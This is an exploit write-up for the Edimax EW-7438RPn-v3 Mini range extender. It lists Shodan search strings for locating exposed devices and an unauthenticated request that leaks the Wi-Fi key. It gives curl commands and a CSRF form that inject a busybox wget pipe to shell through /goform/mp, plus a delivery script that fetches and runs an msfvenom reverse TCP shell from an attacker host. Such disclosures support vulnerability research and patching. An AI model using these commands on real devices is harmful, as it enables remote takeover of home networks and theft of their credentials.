# Exploit Title: Edimax Technology EW-7438RPn-v3 Mini 1.27 - Remote Code Execution # Date: 2020-04-13 # Exploit Author: Wadeek # Hardware Version: EW-7438RPn-v3 Mini # Firmware Version: 1.23 / 1.27 # Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/ # Firmware Link: https://www.edimax.com/edimax/mw/cufiles/files/download/Firmware/EW-7438RPn_mini_1.27.zip == Shodan Dorks == (Setup Mode) "HTTP/1.0 302 Redirect" "Server: Boa/0.94.14rc21" "http://(null)/index.asp" (Unsetup Mode) "HTTP/1.1 401 Unauthorized" "Server: Boa/0.94.14rc21" "Default Name:admin Password:1234" == Unauthorized Access - Wi-Fi Password Disclosure (Unsetup Mode) == GET /wizard_reboot.asp showSSID = "<WIRELESS-NAME>"; document.write('<font class=\"textcolor\">'+"<WIRELESS-SECURITY-KEY>"+'</font>'); == Command Execution * == (Setup Mode) curl 'http://<RHOST>/goform/mp' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh' (Unsetup Mode with default password) curl 'http://<RHOST>/goform/mp' -H 'Authorization: Basic YWRtaW46MTIzNA==' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh' == Cross-Site Request Forgery -> Command Execution * == <form action="http://edimaxext.setup/goform/mp" method="POST"> <input type="hidden" name="command" value="|| busybox wget -O - http://<LHOST>/delivery.sh | /bin/sh"> <input type="submit" value=""> </form> * [ delivery.sh ] -------------------------------------------------------------------------------------- # (msfvenom) linux/mipsbe/shell/reverse_tcp cd /tmp/ busybox wget -O reverse http://<LHOST>/reverse busybox chmod +x reverse ./reverse & --------------------------------------------------------------------------------------